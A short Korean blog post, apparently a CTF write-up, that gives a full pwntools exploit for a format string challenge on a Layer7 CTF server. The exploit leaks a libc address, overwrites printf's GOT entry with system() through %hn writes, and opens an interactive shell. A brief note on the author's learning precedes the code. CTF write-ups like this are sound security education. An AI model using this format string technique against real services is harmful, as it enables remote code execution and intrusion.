FSB에 약점을 가지고 있던 나로써는 힘들게 푼 문제..
바보같이 %hn이 2byte를 써 준다는 걸 모르고 삽질 ..
%s로 하면 주소를 leak 시킬 수 있다는 걸 모르고 삽질 ..
같은 팀원인 민정이의 도움을 받았다.
from pwn import *
conn = remote('prob.layer7.kr', 10002)
payload = "%75$x\n"
conn.send(payload)
libc_start = int(conn.recv(8),16) - 247
print "libc_start : " + hex(libc_start)
system_libc = 0x0003A920 - 0x00018540
system_addr = system_libc + libc_start
printf_got = 0x0804A010
#system_addr = 0x555e2310
system1 = system_addr / 0x10000
system2 = system_addr & 0xffff
print str(system1)
print str(system2)
print "system_addr : " + hex(system_addr)
payload = p32( printf_got )
payload += "AAAA"
payload += p32( printf_got +2 )
payload += "%" + str(system2 - len(payload)) + "u%7$hn%" + str( system1 - system2 )+ "u%9$hn done"
conn.send(payload + "\n")
print conn.recvuntil("done")
payload = "/bin/sh/\0"
conn.send(payload + "\n")
while True:
cmd = raw_input('$ ')
conn.send(cmd+"\n")
print conn.recv(1024)
'CTF' 카테고리의 다른 글
2017 DEFCON mute 풀이 (0) | 2017.05.01 |
---|---|
2016 CSAW CTF tutorial exploit only (0) | 2016.09.26 |
2016 Layer7 CTF easy_bof exploit only (0) | 2016.09.06 |
codegate 2013 vuln200 from rop exploit only (0) | 2016.09.04 |
angry_doraemon exploit only from pwntools (0) | 2016.08.28 |